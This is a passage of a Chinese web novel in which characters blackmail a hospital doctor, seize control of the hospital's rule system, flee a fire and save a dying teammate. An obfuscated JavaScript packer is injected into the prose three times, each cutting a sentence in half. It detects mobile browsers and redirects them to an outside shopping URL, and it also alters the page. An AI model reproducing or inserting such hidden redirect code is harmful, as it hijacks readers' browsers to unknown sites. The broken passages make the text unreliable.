上面清晰地拓印着曾经他亲笔写下的字,是关于如何掩盖重要文件遗失的日志,是足以将他打入地狱的证据! 他猛地抬起头,眼神刺向初与序。 初与序依旧温软地笑,眼神却很深,不似平日里那般纯净。 她微微前倾了半分,说:“白医生,您看这上面的字迹,倒是有些……眼熟?我瞧着,这处理方式,倒是与您平日明察秋毫的作风,颇有些出入。” 初与序慢条斯理地移开目光。 “如今下面不太平,火光冲天的。若是这份文件的原件,不小心顺着这乱子,飘到了不该去的地方,到了高处……” 她伸出手,在文件上轻轻一点。 “您说,到了那时,上头是会更着紧这区区火势,还是会更在意,有人竟在规矩方圆之内,行了些有碍观瞻的笔墨?” 白阔定了定心神,压下眼底的惊怒,上前自然地伸出手,要牵初与序的手腕:“倒是我小瞧了你,年纪不大,心思却这般密,连这等陈年旧事都能翻找出来。原件太杂,还需要你帮我一起找找。” 话落,他已经触碰到初与序的手腕,刁钻的暗劲透出,扣向她纤细的手腕,竟是要当场按得脱臼,白皙的皮肤出现五指红痕。 初与序手腕处传来刺骨锐痛,她咬着牙没吭声。 白阔拉着她竟要走,没拽动,回头一瞧。 小姑娘半垂着头,一部分面容隐在阴影里,脸庞轮廓漂亮,皮肤如脂玉般,眸子清凌凌,唇角自然上扬,笑意隐约。 白阔再看一眼。 初与序抬眸,还真笑着说:“白医生谬赞了。不过是恰巧听闻了些许风声,又恰巧印证一番罢了。” 她微微侧头,想起了什么,道:“说起来,今早听闻禁闭室那边似乎不太安宁,像是少了些什么动静。白医生可有所察觉?” “冬逢初那孩子认死理。我若是好好的,他自然安安分分。可我若是不小心在哪里磕着碰着,出了什么意外,他怕是会把一些不该说的,不该递的,统统都捧到院长面前去,可如何是好?” 白阔扣在她手腕上的手指松了半。 初与序恍若未觉,说:“我就在想啊,一个昨夜还气息奄奄的人,今早却不见了踪影。这善佑医院的铜墙铁壁,何时也变得这般……来去自如了?” 她说到这里,轻轻将自己的手腕抽了回来,理了理袖口,凑近白阔,吐息如兰:“白医生,您说,他既然有这等通天办事悄无声息地离开,那么此刻,是不是也已经到了他该到的地方,见到了他该见的人,正准备说些,他该说的话了么?” “您若不信,不妨现在就去禁闭室瞧瞧?看看那里面,如今是风平浪静,还是早已人去楼空?” 白阔盯着她看。 老医生察觉此地气氛,踱步过来,蹙着眉问:“白医生,这是……?” 白阔咬着牙,说:“无事。” 老医生狐疑地看了他们一眼,不再深究,转身走出大堂。 待那脚步声远去,白阔一把推得初与序踉跄一下。他声音压低:“你他妈……到底想干什么?” 初与序:“白医生,您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085176|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 误会了。我只是见四楼火光冲天,乱象已生,心下着实为您担忧。您想,这般大的动静,迟早会惊动上面。若是追查起来,发现您此刻竟还安稳地待在五楼,恐怕与您清誉有损。” 她顿了顿:“您此刻若能因公亲赴现场,全力稳定局势,或许尚能将功折罪,在院长面前也还算有个转圜的余地。” 白阔脸色发白。 初与序迎着他目光,慢声细语地说:“至于您方才,不慎‘遗落’在此处的权限卡……” 她伸出手,掌心朝上。 “我虽人微力薄,也愿斗胆替您保管一二,绝不让它流落到什么不该去的地方,平白惹出些不必要的误会。您说,是这个道理吗?” 半晌,白阔从喉咙里挤出一声嗤笑。 他猛地从衣服里抽出一张黑色的卡片,看也未看,重重拍在初与序的掌心里。 “你……很好。”他挤出三个字。 说完,他不再看她一眼,猛地转身,朝着楼梯口的方向疾步冲去,很快消失在从二楼飘上来的淡淡烟雾之中。 初与序缓缓收拢五指,将权限卡攥在手心。 随歌喉咙的皮肤被刀尖压陷,微微刺痛。他张了张嘴,脑子里乱七八糟的念头飞过,最终化作一片空茫的遗憾,索性把眼一闭,心一横,妈的,十八年后又是一条好汉! 然而,预料中的剧痛没有传来,他听见一声沉重的闷响!像是千斤重的沙袋,狠狠砸在了厚实的肉块上! 温热的液体劈头盖脸溅了他一声,带着浓重的铁锈味,有几滴溅到了他被迫扬起的脸上。 随歌被这浓得化不开的血腥味呛得打喷嚏,眼睛也下意识睁开了。 映入眼帘的是林志的身体,他肩膀上豁开一道巨大的血口子,白色的骨头隐约透出在血肉中,鲜血汩汩往外涌。整个人像被抽掉了骨头,软软地朝前倒,重重砸在了随歌的身体上。 随歌茫然地越过林志,向上看去。 成年形态的蒋川,正扛着斧头,斧头血淋淋的,懒洋洋地站在前方呢。 随歌头皮发麻,一直没反应过来。 直到看见蒋川走上前,他才吓得一哆嗦,扯着嗓子就哭嚎:“姑奶奶!我错了!我真错了!您杀了他就不能杀我了啊!我不想死!求求您高抬贵手放小的一条生路吧!!” 蒋川被他吵得烦,脚步不停。 随歌吓得立马又把眼睛死死闭上,眼前的还是一片血光。 却听“哐当”四声响,手脚一松,锁链断开。 蒋川不耐烦道:“杀你大爷!老娘现在是你们这边的!别嚎了,快点起来,后面的怪物追过来了!” 随歌一愣,猛地睁开眼,手脚并用地把身上不知道死没死的林志用力推开,连滚带爬站起来,手脚发软,差点又跪下去。 外面的走廊早已火光冲天,混乱不堪,但仔细看去,已有不少孩子在几个领头孩子的组织下朝着安全通道撤离,正是随歌之前安排好的几个伙伴。 他跟着扛斧头的蒋川在走廊夺路狂奔,耳边是呼啸的风声和火焰的咆哮。他忍不住大喊:“蒋川!你他妈到底是哪一边的?!初与序什么时候把你撬到我们这边来了?!这他妈也太神了吧!” 跑在前面的蒋川头也没回,喊道:“说来话长——给两百万,姐姐我再考虑告诉你!” 随歌笑骂道:“操……” 218.坏孩子 时间回到副本第一日,上午。 因付遇三人的肆意妄为,怪物暴走,人群奔逃。初与序在混乱中与冬逢初、随歌失散,在避开怪物后,并没有急着去找他们。 她的身影在尘埃与血雾中几个起落,掠过一条僻静的走廊,最终,来到一堆废弃医疗器械旁边。 她轻盈地跃上旁边堆叠的木箱,居高临下。 阴影里,蒋川正背靠着冰冷的墙壁,胸口起伏,平息着狂奔后的喘息。 “好久不见。”平静无波的声音从头顶响起。 蒋川吓得浑身一哆嗦,猛地抬头,正对上初与序蹲在箱沿上,毫无情绪地俯视着她的眼睛,手中还拿着一把手术刀。 蒋川第一反应是这人来杀自己的。 她猛地蹿起身,举起斧头重重砍向初与序咽喉,打算下手为强。 初与序早有所料,身形如轻雪般从箱上落下,手腕一翻,手术刀精准迎向蒋川的手腕。蒋川的手臂被刀锋划开一道血口,血液有几滴蹭上了初与序脸颊。初与序格开她手臂,一记手刀切在她颈侧,另一只手扣住她受伤的手腕,一拧一按。 蒋川痛哼一声,就被狠狠掼在墙壁上,脸颊贴着墙壁,动弹不得。她咬紧牙关,试图反抗,却只听耳边“哐当”一声,一柄手术刀被随意扔在了脚边。 紧接着,压制着她的力量也消失了。 蒋川愣了一下,有些踉跄地转过身,背靠着墙壁,惊疑不定。 初与序退开两步瞧着她。 蒋川很快反应,对方不是为取她姓名而来。她扯了扯嘴角,嘲讽道:“初大小姐这么大费周章,不是来杀我的么?怎么,改行当菩萨了?” 初与序擦干净脸,抬眸看着她,没什么表情。接着从面板里取出一沓纸质文件,递了过去。 蒋川接过,低头翻看。 那上面,是她,以及她所有社会关系的资料。包括出生证明、家庭住址、就读学校…… 像小说里很常见的家庭那样,父亲酗酒,母亲承受着父亲的拳脚。在那个贫穷闭塞的小山村里,从来没有“离婚”一说。于是母亲总是将所有怨气与不甘发泄在蒋川身上,事后又抱着她痛哭流涕,请求原谅。 蒋川一直处于矛盾的生活中,所以她从小就知道怎么用吊儿郎当的样子气疯她爸,也让她妈更无奈。 小时候的她想,等自己长大,远走高飞,什么父亲母亲的,统统滚远点。长大后,她提着重重的行囊,站在小村庄门口,回头看了一眼。 母亲的手颤抖着,往自己包里塞了两个热乎乎的烤红薯,什么都没说,往后退几步,抹了把眼泪,又挥挥手,示意她快走。 她犹豫了。 她无法割舍对母亲本能的爱,也无法原谅童年时她施加于自己的伤害。她看着母亲日渐老去的背影,最终选择了和解,或者说,是放过自己。 算了,都过去了,以后好好赚钱,让自己可怜又可恨的母亲过几天好日子吧。 她说:“妈,你和我一起走吧。” 可她还没来得及开始,就被拉入了永冬之城。 “你是怎么弄到这些的?”蒋川抬起头,声音沙哑。 初与序说:“屠宰场护不住你想护的人,但我们能。” “如果你选择站在我们这一边,我能承诺,让你活着离开永冬之城,让你的母亲在现实安然无恙。届时,你可以用你想要的任何方式,去安顿你的母亲。” 蒋川眼眶泛红,里面翻涌着震惊,她和初与序对视,片刻,她说:“好。” 那一刻起,被屠宰场威胁的蒋川,已经重生了。 五楼走廊,恢复身形的初与序赶到广播站,十八岁的冬逢初也早已等候在此。她上前一步,将权限卡贴上电子门。 “滴——”一声响,电子门亮起蓝光。 【权限识别成功,正在进行精神力深度验证。】 两人心一惊。 电子锁上爆发出强烈的银蓝色光芒,仿佛流动的水,将两人周身笼罩,光芒自上而下缓缓扫过。冬逢初下意识将初与序护在身后半步。 广播音的语调里带上一丝困惑。 【检测到与核心程序高度同源的精神力波动?……验证通过。】 【欢迎进入最高权限点。】 银蓝色光芒消散,厚重的电子门应声而开。来不及思考他们的精神力为什么能打开锁,两人立刻进入。 广播站比从外面看到的更大,无数粗细的线缆从四面八方汇聚,连接着中央数台不断闪烁着各色指示灯,器械嗡嗡作响。正对着他们的,是一面占据整堵墙,此刻自动亮起,上面如流水般飞速滚动着医院每一个孩子的姓名、积分,还有一道代表着精神力的光波图谱,正在起伏。 “怎么做?”冬逢初的声音还带着虚弱。 初与序看向数据台屏幕,字迹小,眼花缭乱,她的视线第一个落到右下角最醒目的键盘上,上面标注着【核心指令输入】。 摧毁电源?抹除数据?还是什么? 在副本中,这所医院从建立至今,一直以来维持秩序的根本,都是那套等级制度。 初与序忽然上前,点开键盘,输入一串文字。 冬逢初在一边看着她输入那串指令,没有阻止。 指令输入完毕,初与序的手停在【执行】按钮上空,她深吸一口气,与冬逢初对视一眼,然后重重拍了下去! 【警告!检测到最高权限指令!即将覆盖基础规则,是否确认?】 【确认。】 顿时,那道广播音,带着强制性,响彻在整个善佑医院上空,同时每一个佩戴手环者的手环上,也收到了相同指令: 【规则更新:所有患者积分重置为0,身份统一更改为“去你妹的坏孩子”。旧规则体系,即刻失效。】 “嗡——!!!” 仪器发出警报声,屏幕上数据疯狂错乱,变成一片雪花,头顶的灯光开始明灭闪烁。 楼梯道上,所有的门禁全部发出一连串的咔嗒声,指示灯由红转绿,再由绿转为一片黑暗,彻底失灵。 五楼与四楼的楼梯口,小月带着一众孩子,用湿毛巾紧紧捂住口鼻。在看见指示灯灯光变换后,小月试探地伸手一推,门开了。 “快走!”她侧身让开,身后早已按捺不住的孩子们顺着楼梯冲下,扑向已经乱成一片的中层。 中层火光跳跃,浓烟弥漫,随歌和蒋川纵有通天之能,此刻也忙得焦头烂额。不仅要护住自己,还要分神格挡开怪物们袭击孩子的动作。本就不熟悉地形,在浓烟和混乱中,更是难辨方向。 同时,五楼广播站的门被推开,初与序和冬逢初冲出。 下一秒,一道身影笼罩下来,付遇扛着轰鸣的电锯,堵住了前方的去路。 “你去四楼找随歌。”初与序低声提醒,冬逢初立刻调转方向,朝着相反的楼梯道冲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085177|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,消失在拐角。 付遇对逃离的冬逢初看都未看,电锯扬起,朝着初与序当头劈下。初与序向着侧方扑去,避开电锯,头也不回地朝着前方冲去。付遇一击落空,提着电锯便追,跟着她冲上一条通往顶层的楼梯。 楼梯尽头,是一扇与周围墙壁无异的铁门,初与序伸手猛地一推,门应身而开。 她一步跨入,熟悉的风瞬间包裹住她,带着高处特有的寒意。 初与序从天台入口那低矮的小房子里钻出,凛冽的风裹着烟味扑面而来。这里空旷无人,景象熟悉又陌生。破败的杂物堆积如山,高过人头,在火光下透着阴影。角落里,那个曾经被她和冬逢初种满勿忘我的小花坛,如今只剩干裂的泥土和枯黄野草。 付遇紧随其后,但身处堆杂物的天台,电锯的作用大打折扣,扛着电锯冲一下就会被杂物绊倒。她干脆甩手扔开电锯,身形扑上,拳风凌厉。 初与序侧身避开,拳风带起一阵火辣辣的疼。 下方火光冲天,映得她们脸上阴暗不明,浓烟呛人,火舌燃到了天台的边缘,引燃了堆放的旧木材,发出爆响。 初与序寻了个空隙,背靠上生锈的栏杆,向下瞥了一眼。 住院部的大门开着,无数小身影正拼命向外涌。然而,火焰也蔓延而出,吞噬着门外的草地。 就在这时,耳边传来“轰隆”巨响,初与序猛地转头看去,天台一角的小房子终于承受不住,半边屋顶带着砖石塌落!接着,旁边堆积的杂物山也摇摇欲坠,巨大的木材和不知名金属物件也倾泻而下。 “小心!”初与序喝道,自己也猛地向侧方扑倒。 一根燃烧的巨木在她后背砸落,付遇也翻滚避开,原先站立的地方已经被废墟掩埋。 火势更猛,浓烟遮蔽了视线。初与序随手在杂物堆里摸出几捆细绳,凭着记忆,在火焰尚未完全合拢的空地上,偷偷布下陷阱。 付遇不顾四周不断坠落的燃烧物,将初与序朝着另一片正在坍塌的杂物巨石区逼去,想借着这天灾和坠落物,将初与序砸死。 一块被烧得通红的铁皮从天而降,初与序贴着地面滑过,再抬头时,眼前只剩下翻腾的浓烟与跳跃的火光。 付遇消失了。 所有噪声混在一起,扰乱初与序的心智。她本就惧怕火焰,右眼看不见,左眼视力也在浓烟中受损,不得不停下脚步,心跳砰砰作响。 顿时,头顶传来一声闷响,初与序抬起头。 只见付遇不知何时竟爬上了还没完全坍塌的小房子顶端,她手中重新握住了电锯,不等初与序反应,她将电锯高高举起,狠狠砸向脚下本就脆弱的房顶。 “轰——!!!” 小房子彻底分崩离析,砖石木梁朝着下方的初与序倾泻而下。 初与序根本来不及闪避,只觉着眼前一黑,一股巨力从四面八方狠狠挤压过来。 剧痛席卷全身,每一根骨头就像被碾碎。她被死死压在了滚烫的废墟之下,动弹不得,被迫吸入漫天的尘埃和浓烟。 而在那片废墟边缘,付遇还未来得及露出笑容,脚下便是一紧。一根不知何时布置好的绳索弹起,死死缠住了她的脚踝,将她猛地拽倒在地。 她挣扎着要爬起,却发现另一只脚也被同样的绳索束缚住! 两人一个被埋于废墟,生死不知;一个受困于火场,挣脱不得。 烈焰,仍在熊熊燃烧。 219.坏孩子 付遇喘着粗气,胸腔吸入灼热的空气,火辣辣地疼。她伸长手臂,试图去抓几米之外的电锯,但脚踝上的绳索将她牢牢固定在原地,没法够到电锯。 她抬起头,看向前方那堆压住初与序的废墟。火焰已经蔓延开来,形成了包围圈,将她和废墟围在中央。浓烟在上空翻滚,所幸她坐着的这个高度,恰好避开了最浓密的一层,得以喘息。 废墟之下,许久没有动静。 付遇垂下头,开始用手指撕扯着脚上坚韧的绳索。 还没低下头去,眼前那堆废墟的缝隙里,猛地伸出一只苍白的手! 那只手沾满血污,扶住上方一块焦黑的木头,奋力向旁边一推。 碎石和木屑簌簌落下,紧接着,一个身影缓慢地从那废墟中挣脱出来。是初与序。 她刚爬出来,摇摇欲坠地站在那里,便不可避免地吸入了上方的浓烟,顿时弯下腰去,捂住口鼻剧烈咳嗽起来,肩膀颤抖着,眼眶被烧得通红,病恹恹的。 她咳了许久,才勉强起身,脚步虚浮地朝付遇走来。左右看了看火灾,神色里带着防备,右手摸向口袋,拿着什么。 付遇看着她下一秒就要断气的样子,清楚就算初与序现在看起来病弱,要弄死自己,也不过是搬起一块砖头的事情。 “要杀就快点。”她冷冰冰说。 初与序在她面前蹲下身,叹了口气:“你怎么和蒋川一样。” 她的右手从口袋里拿了出来,捏着一个被火烧了一角的烟盒。从里面抖出两根香烟,一根叼在嘴上,另一个递到了付遇面前:“要么?” 付遇脱口而出:“你都咳成那样了还抽?” 初与序摸出打火机,“啪”一声点燃自己唇间的烟,吸了一口,又引发了一阵低咳。她皱着眉,缓过气来,无奈说:“是随歌火放太大了,我平时没这么咳的。” 付遇沉默着,还是伸手,接过烟。 初与序凑近了些,用手拢着摇曳的火苗,替她将烟点燃。 付遇看见初与序随手捞过一个矮纸箱,坐在自己前面,随即才像是想起了什么,俯过身,耐心地一根根去解死死缠住她的绳索,手指因脱力有些发颤。 “你之前不是问我,门里有什么吗?”初与序淡淡道。 付遇靠在杂物堆旁,有一搭没一搭地吸着烟,没有回答。 “门里是现实。” 付遇抬起头。 “确实是现实,我们没到永冬之城时待的现实。永冬之城,是善佑医院,和他们背后的那些人,借助医院孩子的精神力,搭建起来的。包括这里的门,也是由那位病人的精神力所建。” “他们把有能力的人一个个放进去,通过‘下副本’慢慢改造。而普通人,被留在现实。一段时间后,计划结束,他们会直接炸掉现实世界,人类文明将被摧毁。” 她吸了一口烟,烟雾压下喉间的腥甜,继续说:“现实世界里,也有人察觉。他们在反抗,所以医院才会不停地派孩子们出去,清除那些障碍。” 绳索解开,初与序收回手。 “我怀疑,永冬之城本身就是一个循环。九千年,如果时间是真实存在的,为什么我和我的队友们,会以第一批玩家的身份出现?” 她摇了摇头,声音里带上一丝极少在她身上出现的,近乎疲惫的东西。 “不能这样的,付遇。”她轻声说,“世界不该是这样的。它需要天才,也需要凡人。” “永冬之城太冷了,它让所有玩家和至亲分离,和故土诀别。把活生生的人,变成副本里的亡命之徒。这里的人太多了,像我们一样想回家的人也太多了。” 付遇沉默地听着,直到此刻,烟已燃到尽头,烫到了指尖,她才惊醒。 初与序看着她,说:“付遇,我不能死,他们需要我。” 烟雾缭绕,两人之间隔着一重迷蒙的帐。 良久,付遇将烟头摁灭在焦黑的地面上。缓缓站起身,活动了一下四肢,看着坐在纸箱上的初与序。 她扯了扯嘴角,像是笑,又不像。 ”你命大,我信你。”她说,“那你就好好活着。” “如果你的谋略落空了,我便是在下头做了鬼,也不会放过你。” 她深深地看了初与序一眼,然后转身,一步踏入了身后吞噬一切的熊熊烈焰之中。 火光猛地蹿高,映红了半边天,随即,那身影便被彻底吞没,再无声息。 通往五楼的楼梯道已经被火焰吞没,初与序只得另寻其他出路。她穿过火场,来到栏杆边缘,发丝被热风卷起,露出她平静的脸庞。 她往天台下方扫了一眼,只看到一片火场。单手撑着滚烫的栏杆,利落地往外一翻,从这五楼之高之处直接跃下。 她踩在墙壁外凹凸不平的装饰物上,借力缓冲,向下攀爬。五楼封住窗户的铁框早已被火焰焚烧,螺栓脱落,铁框不知掉到了哪去,露出了窗口。 初与序腰腹发力,在半空中看准那窗口,手臂一伸,扒住了窗檐,随即整个人荡进了五楼走廊。 走廊里同样弥漫着烟雾,她凭着记忆,冲向走廊尽头的档案室。 档案室的门大开着,里面一片狼藉,应该是之前有医生仓惶闯入,来抢救重要资料,带出火场。 初与序直奔存放近年入院病人纸质档案的柜子边,快速扫过一个个标签。 2021年。 她抽出了标注着2021年的档案盒,里面的文件完好地放在那,没有被翻动的痕迹。她一份份地翻找着。 写着自己名字的档案袋第一个找到,抽了出来,随手扔在一旁。景明垂的档案也看到了,她甚至看到了当年她所在那个病区所有认识孩子的名字,他们的身份照呈现在泛黄的纸页上,带着属于过去的记忆。 她翻遍了整个2021年的档案盒,连旁边2020、2022年的也快速筛查了一遍。 没有冬逢初的。 她不死心,冲到一旁的电脑前,点开内部查询系统,在姓名栏飞速输入【冬逢初】三个字。 敲下回车。 屏幕闪烁了一下,跳出一个指示框: 【查无此人。】 初与序盯着那四个字,周遭的喧嚣仿佛在这一刻都离她远去。她缓缓直起身,站在一片狼藉中央,陷入一阵空茫。 他明明存在过这里,与她同一时间被送入善佑医院,一同经历生死。 可为什么,这片土地上没有他的痕迹? 住院部大楼前方的空地上,逃出生天的孩子们挤在一起,几个活着逃出来的医生完全忘记了维持秩序,站在原地发懵。 蒋川数了数孩子们的人数,转过身:“人齐了,安全了。” 随歌在原地打转:“安全个锤子啊!人都齐了?初与序呢?!她人呢!” 他停下脚步,左右看了看,又跳起来:“我操!冬逢初!冬逢初人又他妈去哪了?!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085178|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 蒋川抱着胳膊无所谓,道:“能干啥,找人去了呗。” 炽热的火焰咆哮,浓烟刺得人睁不开眼,热空气吸入肺腑,带来刀割的痛。 初与序站在火场中,周围是被翻找出来,又被火焰烧毁的资料。她最后看了一眼这片废墟,意识到不能再留了,只好朝着门口冲去。 大门已经被火焰封住一大半,现在冲出去,只会被烤成焦炭。 耳骨夹里传来冬逢初急促的声音,一遍遍问着她在哪。 初与序被浓烟呛得咳嗽,只说:“别进来,你别进来,别进医院。” 她话落,冬逢初便不再说话,陷入沉默。初与序第一反应是冬逢初会不会出事。 就在她分神之间,门口堆积的火焰不知怎的,猛地蹿起数尺高!走廊一侧的玻璃窗承受不住高温,发出爆炸声,轰然碎裂,被狂热的气浪在空中掀翻! 初与序一侧头,就见火焰混着碎玻璃,朝着自己劈头盖脸地砸来! 就在她要被火焰和玻璃片吞没时,忽然她听到了门外的动静。接着,一道身影破门而入,冲了进来。 那人速度极快,张开双臂,将初与序完全拥入怀中,扑倒在地,用自己的脊背迎扑面的烈焰。一只手垫在了她的脑后,避免她与地面相撞。 两人重重摔在地面上,初与序惊愕地抬头,就看到冬逢初撑在自己上方,后怕地护着她。 “你怎么进来了?”初与序问。 冬逢初喘着气没回答,眼眶红红的,听到初与序说话,顿时一滴泪落下,砸在初与序脖颈处,热热的,痛痛的。 冬逢初胡乱擦去泪水,握住初与序的手,将她一把拉起。门板倒塌的地方,正好压灭一小片火焰,勉强露出一条冲向走廊的路。 初与序被冬逢初拽着,冲出档案室。她最后回头望了一眼。 无数记载着痛苦的纸张在烈焰中狂舞,化作纷飞的黑碟,最终被猩红的火焰吞噬。 他们沿着楼梯一直向下奔,就当两人冲到二楼转角时,冬逢初忽然察觉到一个人从身后跃下,接着,受伤未愈的肩膀被一只冰冷的手狠狠扣住。 他疼得脚步被迫一顿,猛地回头,对上了白阔怨毒的眼神。 这人竟然没死! 白阔的白大褂上沾满不知是谁的血迹,脸上还有被火焰烧过的灼痕,眼睛亮得骇人。 “想走?”他朝两人笑了一下,扣住冬逢初肩膀的手指几乎要掐进骨头,另一只手寒光一闪,手术刀竟高高举起! “冬——!” 可白阔动作太快!快得超越了重伤的两人所能反应的极限。冬逢初只来得及动一下,那道寒光,狠狠地插入了他的腹部! 初与序感觉身边人身体一僵,微微抽搐了一下,接着身体不受控制地向前软倒。她立刻上前,撑住冬逢初下滑的身体。 白阔看着这一幕,露出大仇得报的快意。 初与序盯着他背后,说道:“你去死吧。” 白阔下意识:“什么?” 下一秒,被他破开的楼梯上方,积累了许久的火焰与浓烟终于找到了路径,轰然倾泻而下! 灼热的火舌瞬间贴上他的后背,以雷霆之速点燃了他的衣服,将他整个人吞没。 “啊——!!!”凄厉的惨叫在楼梯间回荡,初与序头也不回,半扶半抱着意识已经开始模糊的冬逢初,带着他冲出了医院大门。 门外,夜风带着热浪吹拂而来。 220.坏孩子(完) 初与序撑着冬逢初从大门冲出,迎头便撞上了寻来的随歌与蒋川。冬逢初最后一点力气用尽,膝头一软,整个人向下滑去。初与序揽着他,顺势跪坐在地,将他轻轻放倒在地面上。 手才触到他腰腹间,一片湿热。 初与序低头看去,只见他腹部的衣物已经被暗红浸透,血色正不受控制地洇开,越来越浓,越来越快,要将他的生命一并带走。 “喂!冬逢初!”随歌扑跪在另一边,连忙抽出竹扇。但是一看他的伤势,就知道完蛋了,竹扇是治不好了。 他连忙回头去看接他们回永冬之城的列车来没来,但最近永冬之城因为他们的叛逃混乱一片,J23应该是被杂事缠身,此刻竟然没准时开着列车到副本。 医院的烈焰依旧燃烧,冬逢初躺在那里,觉得自己是失血过多了,他的体温正被冷空气覆盖,他口中吐出的白雾像在预示他的结局。 于是他费力地抬起手,手指在空中微微发颤。 初与序握住他冰凉的手,语无伦次:“撑住……冬逢初,你撑住……我们马上就回永冬之城,马上就好。” 冬逢初望着她,眼神深处是平静与眷恋。 叹了口气,他动了动嘴唇:“……阿序。” 初与序慌忙俯下身,将耳朵贴近他冰冷的唇边。 冬逢初勉力道:“别去查了……别再想过去,好不好?” 初与序浑身一僵,听懂了他话中所指。他让她放弃追寻他过往的真相,放弃求证他是否真的存在于善佑医院之中。 她用力点头,将冬逢初紧紧抱在怀里,“好。我不查了,永远不查了。我不在乎那些了……我们一起活着就行,你活着就行……求求你,活下来。” 一旁的蒋川沉默地看着,她第一次见到初与序崩溃。 冬逢初无声地笑了笑,笑意已经虚弱到看不见:“好啊。” “你和我说说话……”初与序想用自己的体温去暖他,“别睡,冬逢初,你看着我,陪我说说话。” 冬逢初眼帘缓缓垂下,长睫在苍白的脸上投下浅淡的阴影,他喃喃道:“阿序,我有点冷了。我先睡一会儿。等我睡醒……陪你说话。” “不能睡!”初与序和随歌同时喊道! 冬逢初像是没听到,他最后看了一眼初与序素雪簌寒般的眼眸,轻轻笑了一下,合上了眼睛。 忽然,时面板自动出现在初与序面前。 【系统提示:检测到玩家队友濒死,请问玩家是否使用《狼人杀》的奖励道具:[不死鸟徽章]?】 【[不死鸟徽章]:可抵百分之六十致命伤,纵入绝境,亦存一线生机。】 初与序猛地抬起头,她竟忘了这个! 【是!】 一枚通体幽蓝,上面镌刻着雄鹰振翅图案的徽章凭空浮现,悬在冬逢初心脏上方。徽章散发出柔和的蓝色光辉,旋即化作一道流淌的光河,缓缓地注入他心口的位置。 肉眼可见的,冬逢初脸上的苍白开始褪去,微弱的血色重新浮现。人依旧昏迷,但不断流逝的生命的的确确被这力量强行拽住了。 “呼……”随歌长长舒了口气,瘫坐在地,抹了把额头的冷汗。 蒋川紧绷的肩膀也松下来,此时才察觉到自己心脏怦怦直跳。 远处,传来列车的汽笛声。J23驾驶着D019次列车,终于穿透火光,稳稳停在了废墟的边缘。她从车门内探出头,朝着四人大喊:“我来迟了!刚刚总部拉着列车长们开会,我是偷偷带你们来副本的,只能硬坐了几小时!” 随歌小心翼翼地架起昏迷的冬逢初:“快,带回永冬之城医院!” 蒋川默不作声,转身朝着列车的方向走去。 初与序站起身。她没有立刻离开,而是回过头,望向那片冲天烈焰。善佑医院在火中崩塌。 她不会再执着于冬逢初究竟是谁了。 是鬼也好,是神也罢,是真实,还是虚幻,都不重要了。 只要他在身边,就足够了。 所有的轰轰烈烈爱恨情仇,都被封印在滔天的火焰里吧,就当一切从没发生过。绵延无尽的大火将过去彻底焚毁,此后迎来的将是崭新的一生。 【恭喜各位玩家通关副本《坏孩子》。】 【你们揭开了善佑医院深埋的罪恶。焚毁了名为“治疗”的囚笼,打破了名为“乖顺”的枷锁。你们让沉沦的灵魂得以解脱,让被篡改的规则重归虚无。】 【在此地,“好孩子”是温顺的祭品,是沉默的羔羊,是麻木的服从者。而“坏孩子”,是未被驯服的野火,是刺破谎言的尖刀,是仍敢向规则挥拳的反抗者。】 【当整个世界都在催促你成为“好孩子”时,你是否还有勇气,成为一个自由的“坏孩子”?】 【本次副本奖励已发放倒各位玩家面板,可打开查看。】 【善佑医院的火焰,是为逝者点燃的安魂烛火,亦是为生者照亮的自由之路。愿烈火焚尽过往,愿雪花涤清罪业。】 【从此,病房再无哭声,天台永沐春风。】 永冬之城的雪纪周已经结束了两日,天空是久违的蓝调色。积雪深厚得淹没了大半建筑的低层,一小部分玩家试探着出门,在纯白街道上小心翼翼移动。 初与序和冬逢初还是逃犯的身份,他们干什么都得躲躲藏藏,好在医院有S23和C13打掩护接守。 冬逢初伤势过重,送入了ICU。而初与序、随歌及被迫同行的蒋川,被安置在一间僻静的病房内,暂时休息。 蒋川抱臂站在窗前,望着窗外,忍不住烦躁地“啧”了一声。 随歌瘫在另一张椅子上,咬着草莓牛奶的吸管,含糊不清地问:“叹什么气呢大小姐?副本不都通了吗?” “通了?”蒋川翻了个白眼,“看看论坛吧随少爷,现在整个处罚区和屠宰场都在掘地三尺找他们两个!” 她不客气地指向初与序:“她和冬逢初是通缉犯诶,我们跟着这两个自身难保的通缉犯,能躲到几时?他们连自己都护不住,还能护住我安全离开永冬之城?” 随歌转了转眼珠,拖长了调子:“那当然是,山人自有妙计啦~” “什么鬼?”蒋川愣了一下,几步走到初与序面前:“你们真有计划了?” 初与序这才缓缓抬起眼。她摇了摇头,说:“去找A12求和自首,但要求撤销冬逢初的死刑。” 蒋川:“……” 